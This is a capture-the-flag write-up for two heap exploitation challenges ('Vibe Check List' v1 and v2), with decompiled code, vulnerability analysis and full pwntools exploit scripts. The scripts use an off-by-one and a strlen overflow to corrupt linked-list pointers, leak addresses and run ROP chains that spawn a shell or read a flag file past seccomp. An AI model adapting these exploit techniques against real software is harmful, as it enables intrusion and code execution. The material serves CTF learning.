TSA Cyber Champion

Team: HCS - Murid Mentor

Rank: 7 / 239

Challenge
Category

Vibe Check List

Binary Exploitation

Vibe Check List v2

Binary Exploitation

Vibe Check List

Description

Analysis

this is a typical heap CRUD challenge, the chunks are stored in the following structure

typedef struct {
    char desc[0x50];
    custom_data *next;
    int ID;
    int priority;
} custom_data;

with one global variable head forming a singly linked list.

these are the implementations decompiled with ghidra

  1. addTask

    allows us to allocate a chunk and link it to the linked list, we're not able to control size and index or ID of the allocation

    void addTask(void)
    {
      custom_data *chunk;
      int id;
      
      chunk = (custom_data *)malloc(0x60);
      if (chunk == (custom_data *)0x0) {
        puts("Failed to allocate memory for new task.");
      }
      else {
        printf(&DAT_00102100);
        getchar();
        __isoc99_scanf("%80s",chunk);
        printf(&DAT_00102128);
        __isoc99_scanf("%d",&chunk->priority);
        if (head == (custom_data *)0x0) {
          id = 1;
        }
        else {
          id = head->ID + 1;
        }
        chunk->ID = id;
        chunk->next = head;
        head = chunk;
        puts(&DAT_0010214b);
      }
      return;
    }
  2. displayTasks display will traverse linked list and prints the content until it reaches its tail

    void displayTasks(void)
    {
      custom_data *curr;
      
      if (head == (custom_data *)0x0) {
        puts(&DAT_00102168);
      }
      else {
        puts(&DAT_001021a0);
        puts("==============================================");
        for (curr = head; curr != (custom_data *)0x0; curr = curr->next) {
          printf(&DAT_001021c4,(ulong)(uint)curr->ID);
          printf(&DAT_001021d6,curr);
          printf(&DAT_001021ec,(ulong)(uint)curr->priority);
          puts("==============================================");
        }
      }
      return;
    }
  3. deleteTask select and index or ID to be free, also will remove it from the linked list

    void deleteTask(void)
    {
      long in_FS_OFFSET;
      int id;
      custom_data *curr;
      custom_data *before;
      long local_10;
      
      local_10 = *(long *)(in_FS_OFFSET + 0x28);
      if (head == (custom_data *)0x0) {
        puts(&DAT_00102200);
      }
      else {
        printf(&DAT_00102238);
        __isoc99_scanf("%d",&id);
        before = (custom_data *)0x0;
        for (curr = head; (curr != (custom_data *)0x0 && (curr->ID != id)); curr = curr->next) {
          before = curr;
        }
        if (curr == (custom_data *)0x0) {
          puts(&DAT_00102267);
        }
        else {
          if (before == (custom_data *)0x0) {
            head = curr->next;
          }
          else {
            before->next = curr->next;
          }
          free(curr);
          curr = (custom_data *)0x0;
          puts(&DAT_00102280);
        }
      }
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
  4. modifyTask edit a chunk within the linked list

    void modifyTask(void)
    {
      long in_FS_OFFSET;
      int local_1c;
      custom_data *curr;
      long local_10;
      
      local_10 = *(long *)(in_FS_OFFSET + 0x28);
      if (head == (custom_data *)0x0) {
        puts(&DAT_001022a0);
      }
      else {
        printf(&DAT_001022c8);
        __isoc99_scanf("%d",&local_1c);
        for (curr = head; (curr != (custom_data *)0x0 && (curr->ID != local_1c)); curr = curr->next) {
        }
        if (curr == (custom_data *)0x0) {
          puts(&DAT_00102267);
        }
        else {
          printf(&DAT_001022f8);
          getchar();
          __isoc99_scanf("%80s",curr);
          printf(&DAT_00102320);
          __isoc99_scanf("%d",&curr->priority);
          puts(&DAT_00102348);
        }
      }
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }

Vulnerability

The vulnerability lies in the Add and Modify functions, where the program uses scanf to input 80 characters or 0x50 characters into the desc field. Although it initially seems harmless, it becomes problematic due to the nature of strings themselves, which are:

a collection/array of characters terminated by a null byte.

This characteristic is also reflected in the use of scanf with the format specifier %s. This means the result of scanf is an input of up to 0x50 characters plus one null byte at the end, making the actual memory input 81 bytes. This vulnerability is commonly referred to as an "off-by-one" error.

Exploitation

with the null byte overwrite, we can perform the operation ptr & 0xff on the next pointer of a chunk and corrupt the linked list. this enables us to create chunk overlaps, allowing the modification of chunk metadata as follows

from this chunk overlap, we can overwrite the size of a chunk or construct a fake chunk with a large size and then free it (as it is linked to the list) inserting it to the unsorted bin and leak the libc address.

using the same chunk overlap, we can also overwrite a next pointer to an arbitrary address, enabling arbitrary read and write operations.

with libc, we can perform an arbitrary read to leak the stack address via environ. Then, using arbitrary write, we can overwrite the saved stack address from the main stack frame to execute Return-Oriented Programming (ROP).

here's the final exploit being ran againts the remote server

here's the full exploit script:

exploit.py
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chall'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = '0.cloud.chals.io', 33257

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg

breakrva 0x17ef
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
# └──╼ [★]$ pwn checksec chall_patched 
#     Arch:     amd64-64-little
#     RELRO:    Full RELRO
#     Stack:    Canary found
#     NX:       NX enabled
#     PIE:      PIE enabled
#     RUNPATH:  b'.'

def add(content, priority):
    io.sendlineafter(b'vibe:', b'1')
    io.sendlineafter(b':', content)
    io.sendlineafter(b':', str(priority).encode())

def display():
    io.sendlineafter(b'vibe:', b'2')

def delete(id):
    io.sendlineafter(b'vibe:', b'3')
    io.sendlineafter(b':', str(id).encode())

def modify(id, content, priority):
    io.sendlineafter(b'vibe:', b'4')
    io.sendlineafter(b':', str(id).encode())
    io.sendafter(b':', content)
    io.sendlineafter(b':', str(priority).encode())

def exploit():
    global io
    io = initialize()

    add(b'AAAA', 0x0)
    add(b'B'*79+b'Z', 0x0)

    display()
    io.recvuntil(b'BZ')
    heap = u64(io.recvline().strip().ljust(8, b'\x00')) - 0x2a0

    add(b'CCCC', 0x0)
    add(b'DDDD', 0x0)
    add(b'EEEE', 0x0)
    add(b'FFFF', 0x0)
    add(b'GGGG', 0x0)
    add(b'HHHH', 0x0)
    add(b'IIII', 0x0)
    add(b'JJJJ', 0x0)
    add(b'KKKK', 0x0)
    add(b'LLLL', 0x0)
    add(b'MMMM', 0x0)
    add(b'NNNN', 0x0)
    add(b'OOOO', 0x0)
    add(b'PPPP', 0x0)
    add(b'QQQQ', 0x0)
    add(b'RRRR', 0x0)
    add(b'SSSS', 0x0)
    add(b'TTTT', 0x0)
    add(b'UUUU', 0x0)
    add(b'VVVV', 0x0)
    add(b'WWWW', 0x0)
    add(b'XXXX', 0x0)

    fake_head = b'\x00'*72 + p32(0x481) + b'\n'
    fake_next = b'\x00'*0x30 + p64(heap+0x5b0) + b'\n'
    modify(8, fake_head, 0x0)
    modify(9, fake_next, 0x0)
    modify(10, b'A'*79+b'B', 0x0)

    delete(0)
    display()

    io.recvuntil(b'AB')
    io.recvlines(10)
    io.recvuntil(b'Description: ')
    libc.address = u64(io.recvline().strip().ljust(8, b'\x00')) - 0x1e0c30
    io.recvlines(75) # cleanup

    fake_next = p64(libc.sym['environ']) + b'\n'
    modify(0xe, fake_next, 0x0)
    modify(0xf, b'A'*79+b'B', 0x0)

    display()
    io.recvuntil(b'AB\n')
    io.recvuntil(b'Description: ')
    io.recvuntil(b'Description: ')
    stack = u64(io.recvline().strip().ljust(8, b'\x00')) - 0x1e0c30

    target = stack + 0x1e0b28
    fake_next = b'\x00'*0x20 + p64(target) + p64(0x100) + b'\n'
    modify(0x10, fake_next, 0x0)
    modify(0x11, b'A'*79+b'B', 0x0)

    rop = ROP(libc)
    POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
    RET = rop.find_gadget(['ret'])[0]

    payload = flat([
        0x0,
        POP_RDI,
        next(libc.search(b'/bin/sh\x00')),
        RET,
        libc.sym['system'],
    ]) + b'\n'
    modify(0x0, payload, 0x0)

    io.sendlineafter(b'vibe:', b'5') # exit

    io.sendline(b'cat flag*')

    log.info('heap: %#x', heap)
    log.info('libc: %#x', libc.address)
    log.info('stack: %#x', stack)
    io.interactive()
    
if __name__ == '__main__':
    exploit()

Flag: TSA{y0u_4r3_my_h0m1e_n0w_b3c4us3_y0u_4r3_v1b1ng_4nd_g0t_s0m3_r1zz_t00_beb340723a}

Vibe Check List v2

Description

Analysis

this challenge is similar to the previous one with some modification which are as follows:

  1. replacement of scanf calls with readline function

    ulong readline(long src,ulong len)
    {
      ssize_t n;
      uint idx;
      
      idx = 0;
      while( true ) {
        if (len <= (ulong)(long)(int)idx) {
          return len;
        }
        n = read(0,(void *)(src + (int)idx),1);
        if (n != 1) break;
        if (*(char *)(src + (int)idx) == '\n') {
          return (ulong)idx;
        }
        idx = idx + 1;
      }
                        /* WARNING: Subroutine does not return */
      exit(1);
    }
    
    void addTask(void)
    {
      custom_data *chunk;
      custom_data *next;
      int ID;
      
      chunk = (custom_data *)malloc(0x60);
      if (chunk == (custom_data *)0x0) {
        printf("\x1b[1;31mFailed to allocate memory for new task.\n\x1b[0m");
      }
      else {
        printf(&DAT_001021a8);
        getchar();
        readline(chunk,0x50);
        printf(&DAT_001021d8);
        __isoc99_scanf("%d",&chunk->priority);
        if (head == (custom_data *)0x0) {
          ID = 1;
        }
        else {
          ID = head->ID + 1;
        }
        chunk->ID = ID;
        next = (custom_data *)mangle_ptr(head,mangle_key);
        chunk->next = next;
        head = chunk;
        printf(&DAT_00102208);
      }
      return;
    }
    
    void modifyTask(void)
    {
      size_t len;
      long in_FS_OFFSET;
      int ID;
      custom_data *curr;
      long local_10;
      
      local_10 = *(long *)(in_FS_OFFSET + 0x28);
      if (head == (custom_data *)0x0) {
        printf(&DAT_00102450);
      }
      else {
        printf(&DAT_00102488);
        __isoc99_scanf(" %d",&ID);
        for (curr = head; (curr != (custom_data *)0x0 && (curr->ID != ID));
            curr = (custom_data *)demangle_ptr(curr->next,mangle_key)) {
        }
        if (curr == (custom_data *)0x0) {
          printf(&DAT_001023e0);
        }
        else {
          printf(&DAT_001024c8);
          getchar();
          len = strlen(curr->desc);
          readline(curr,len);
          printf(&DAT_001024f8);
          __isoc99_scanf("%d",&curr->priority);
          printf(&DAT_00102528);
        }
      }
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
  2. custom mangling of next pointer in the linked list

    ulong mangle_ptr(ulong ptr,ulong key)
    {
      return ptr ^ key ^ (key << 7 | key >> 0x39);
    }
    
    ulong demangle_ptr(ulong ptr,ulong key)
    {
      return ptr ^ (key << 7 | key >> 0x39) ^ key;
    }
  3. seccomp being applied

    └──╼ [★]$ sudo seccomp-tools dump ./chall 
     line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000000  A = sys_number
     0001: 0x15 0x03 0x00 0x00000142  if (A == execveat) goto 0005
     0002: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0005
     0003: 0x15 0x01 0x00 0x00000039  if (A == fork) goto 0005
     0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0005: 0x06 0x00 0x00 0x00000000  return KILL

Vulnerability

although the off-by-one issue no longer exists, during modifyTask, the size edit is determined by the length of the data inside the chunk.

If the data fully fills the chunk, strlen will also count the bytes beyond the data and as the mangled pointer of the chunk is located immediately afterwards it without a NULL byte as a separator, it will also count it as the length that is able to be edited.

As a result, it is possible to hijack the next pointer of the chunk.

Note that this vulnerability only exists in the modifyTask, as the addTask inputs data with a hard-coded size.

Exploitation

first, to bypass mangling, since the key is symmetric, both demangling and mangling use the same key and the same mathematical operations.

moreover, it is not necessary to recover the entire key to recreate the operation. consider the following operation that is used:

chunk_ptr ^ key ^ (key << 7 | key >> 0x39);

this can be simplified as:

chunk_ptr ^ (obfuscated_key);

if the chunk is the first chunk and also the tail of the linked list (i.e., next is NULL), then:

NULL ^ (obfuscated_key) = obfuscated_key  

thus, we can obtain the value of the obfuscated key, which can then be used for both mangling and demangling operations, as demonstrated in the following test script.

next, we can hijack the next pointer to create overlapping chunks and UAF.

the rest of the exploitation process is similar to the previous one, except that the ROP chain is used not to spawn a shell but to perform an ORW as seccomp exists

here's the exploit being ran againts the remote server

here's the full exploit script:

exploit.py
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chall'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = '0.cloud.chals.io', 10882

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg

breakrva 0x1c4a
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
def add(content, priority):
    io.sendlineafter(b'vibe:', b'1')
    io.sendlineafter(b':', content)
    io.sendlineafter(b':', str(priority).encode())

def display():
    io.sendlineafter(b'vibe:', b'2')

def delete(id):
    io.sendlineafter(b'vibe:', b'3')
    io.sendlineafter(b':', str(id).encode())

def modify(id, content, priority):
    io.sendlineafter(b'vibe:', b'4')
    io.sendlineafter(b'modify:', str(id).encode())
    io.sendafter(b'description:', content)
    io.sendlineafter(b'(1-5):', str(priority).encode())

def custom_mangle(val, key):
    # return val ^ (key << 7 | key >> 0x39) ^ key
    return val ^ key

def custom_demangle(val, key):
    # return val ^ (key << 7 | key >> 0x39) ^ key
    return val ^ key

def demangle(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val

def mangle(heap_addr, val):
    return (heap_addr >> 12) ^ val

def exploit():
    global io
    io = initialize()

    add(b'A'*79+b'Z', 0x0)
    add(b'B'*79+b'Z', 0x0)

    display()
    io.recvuntil(b'BZ')
    mangled_ptr = u64(io.recv(8))
    io.recvuntil(b'AZ')
    key = u64(io.recv(8)) # MANGLED NULL PTR
    mangled_null_ptr = key
    heap = custom_demangle(mangled_ptr, key) - 0x2a0

    # ===========================================
    # CHUNK OVERLAP -> UNSORTED LEAK LIBC
    # ===========================================

    for i in range(20):
        if len(str(i)) == 1:
            add(f'{i+3}'.encode()*80, 0x0)
        else:
            add(f'{i+3}'.encode()*(80//2), 0x0)
    # modify(20, b'./\x00\n', 1) # heap+0xaf0, only for getdents
    modify(20, b'flag-321527cfeb1aca7161a63a77b958ffbe.txt\x00\n', 1) # heap+0xaf0
    
    fake_chunk = b'\x00'*0x38 + p64(0x491) + b'\x00'*0x10 + p64(mangled_null_ptr) + p8(0x0)
    fake_next = b'\x00'*0x20 + p64(mangled_null_ptr) + p64(0x0) + b'\x00'*0x20 + p64(custom_mangle(heap+0x2e0, key)) + p8(0x2)
    modify(1, fake_chunk, 1)
    modify(2, fake_next, 1)
    delete(0)

    fake_next = b'\x00'*80 + p64(custom_mangle(heap+0x2e0, key)) + p8(0x3)
    modify(3, fake_next, 1) 

    display()
    io.recvuntil(b'ID: 0')
    io.recvuntil(b'Description: ')
    libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x21ace0

    # ===========================================
    # UAF LEAK STACK
    # ===========================================
    delete(3)
    delete(4)

    fake_next = b'\x00'*80 + p64(custom_mangle(heap+0x3f0, key)) + p8(0x5)
    modify(5, fake_next, 1)

    next_ptr = p64(mangle(heap, libc.sym['environ']+0x50))[:-2]
    assert(len(next_ptr) == 6)
    modify(4, next_ptr, 1)

    # fake_next = b'\x00'*80 + p64(mangled_null_ptr) + p8(0x6)
    # modify(6, fake_next, 1)

    add(b'\x00'*80, 0x0)
    add(p64(mangled_null_ptr) + p64(77), 0x0)

    fake_next = b'\x00'*80 + p64(custom_mangle(libc.sym['environ'], key)) + p8(0x7)
    modify(7, fake_next, 1)

    display()
    io.recvuntil(b'ID: 77')
    io.recvuntil(b'Description: ')
    stack = u64(io.recv(6).ljust(8, b'\x00'))
    rip = stack - 0x120 - 0x8 # allignment

    # ===========================================
    # UAF ROP STAGE 1
    # ===========================================
    rop = ROP(libc)
    POP_RAX = rop.find_gadget(['pop rax', 'ret'])[0]
    POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
    POP_RSI = rop.find_gadget(['pop rsi', 'ret'])[0]
    POP_RDX_R12 = rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0]
    SYSCALL_RET = rop.find_gadget(['syscall', 'ret'])[0]

    payload = flat([
        0x0, # allignment
        POP_RDI,
        0x0,
        POP_RSI,
        rip+0x58,
        POP_RDX_R12,
        0x500, 0x0,
        POP_RAX,
        0x0,
        SYSCALL_RET,
    ])

    delete(8)
    delete(9)

    fake_next = b'\x00'*80 + p64(custom_mangle(heap+0x620, key)) + p8(10)
    modify(10, fake_next, 1)

    next_ptr = p64(mangle(heap, rip))[:-2]
    assert(len(next_ptr) == 6)
    modify(9, next_ptr, 1)

    add(b'\x00'*80, 1)
    add(payload[:0x50], 1)

    # ===========================================
    # UAF ROP STAGE 2
    # ===========================================
    delete(11)
    delete(12)

    fake_next = b'\x00'*80 + p64(custom_mangle(heap+0x770, key)) + p8(13)
    modify(13, fake_next, 1)

    next_ptr = p64(mangle(heap, rip+0x50))[:-2]
    assert(len(next_ptr) == 6)
    modify(12, next_ptr, 1)

    add(b'\x00'*80, 1)
    add(payload[0x50:], 1)

    # ===========================================
    # FINAL ROP STAGE 3
    # ===========================================
    io.sendlineafter(b'vibe:', b'5')
    # pause()

    payload = flat([
        # open
        POP_RDI,
        heap+0xaf0,
        POP_RSI,
        # 65536, # only for getdents
        0x0,
        POP_RDX_R12,
        0x0, 0x0,
        POP_RAX,
        0x2,
        SYSCALL_RET,

        POP_RDI,
        0x3,
        POP_RSI,
        heap+0xaf0,
        POP_RDX_R12,
        0x500, 0x0,
        
        # read
        POP_RAX,
        0x0,

        # getdents
        # POP_RAX,
        # 78,
        SYSCALL_RET,
        
        # write
        POP_RDI,
        0x1,
        POP_RAX,
        0x1,
        SYSCALL_RET,
    ]) + b'\n'
    io.sendline(payload)

    log.info("key %#x", key)
    log.info("heap %#x", heap)
    log.info("libc %#x", libc.address)
    log.info("stack %#x", stack)
    io.interactive()
    
if __name__ == '__main__':
    exploit()

Flag: TSA{1_d0n7_kn0w_h0w_y0u_c4n_r34d_7h1s_bu7_1_kn0w_y0ur_4ur4_1s_+1000000_5b27789b2a}

Last updated